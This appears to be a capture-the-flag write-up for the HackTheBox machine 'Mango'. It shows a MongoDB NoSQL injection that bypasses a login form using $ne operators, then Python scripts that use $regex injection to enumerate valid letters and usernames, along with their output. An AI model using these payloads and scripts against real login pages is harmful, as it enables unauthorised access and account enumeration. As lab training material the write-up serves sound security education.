Navigating to mango.htb we find a search engine but not anything useful, moving onto staging-order.mango.htb however we find a login page
Let's fire up burp and intercept all the requests
We have tailtale hint of what the DB might be in the name MongoDB which itself is a NoSQL DB, lets see what we can gooogle up on it.
We can use a simple login in
username[$ne]=toto&password[$ne]=toto
We get back a status code 302 and with any other credentials 200 with this we can guess that a brute force attack
We can also use the regex to find the correct letters that are present in the username and pass, so lets write up a script for it.
from requests import post
from string import lowercase
url = 'http://staging-order.mango.htb/'
def sendPayload():
for char in lowercase:
regex = '{}.*'.format(char)
data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' :'login' }
response = post(url, data = data, allow_redirects=False)
if response.status_code == 302:
print "Found valid letter: {}".format(char)
def getUser():
sendPayload()
if __name__ == '__main__':
getUser()
python letters.py
Found valid letter: a
Found valid letter: d
Found valid letter: g
Found valid letter: i
Found valid letter: m
Found valid letter: n
Found valid letter: o
Right we have a base to start of with
from requests import post
from string import lowercase
url = 'http://staging-order.mango.htb/'
valid = ['a', 'd', 'g', 'i', 'm', 'n', 'o']
def sendPayload(word):
regex = '^{}.*'.format(word)
data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' }
response = post(url, data = data, allow_redirects=False)
if response.status_code == 302:
return word
else:
return None
def getUser():
for char in valid:
if sendPayload(char) != None:
print "Found username starting with {}".format(char)
if __name__ == '__main__':
getUser()
python list.py
Found username starting with a
Found username starting with m
We now know there are 2 users with the usernames starting with either a or m
from requests import post
from string import lowercase
url = 'http://staging-order.mango.htb/'
valid = ['a', 'd', 'g', 'i', 'm', 'n', 'o']
def sendPayload(word):
for char in valid:
regex = '^{}.*'.format(word + char)
data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' }
response = post(url, data = data, allow_redirects=False)
if response.status_code == 302:
return char
return None
def getUser():
for ch in ['a', 'm']:
username = ch
while True:
char = sendPayload(username)
if char != None:
username += char
else:
print "Username found: {}".format(username)
break
if __name__ == '__main__':
getUser()
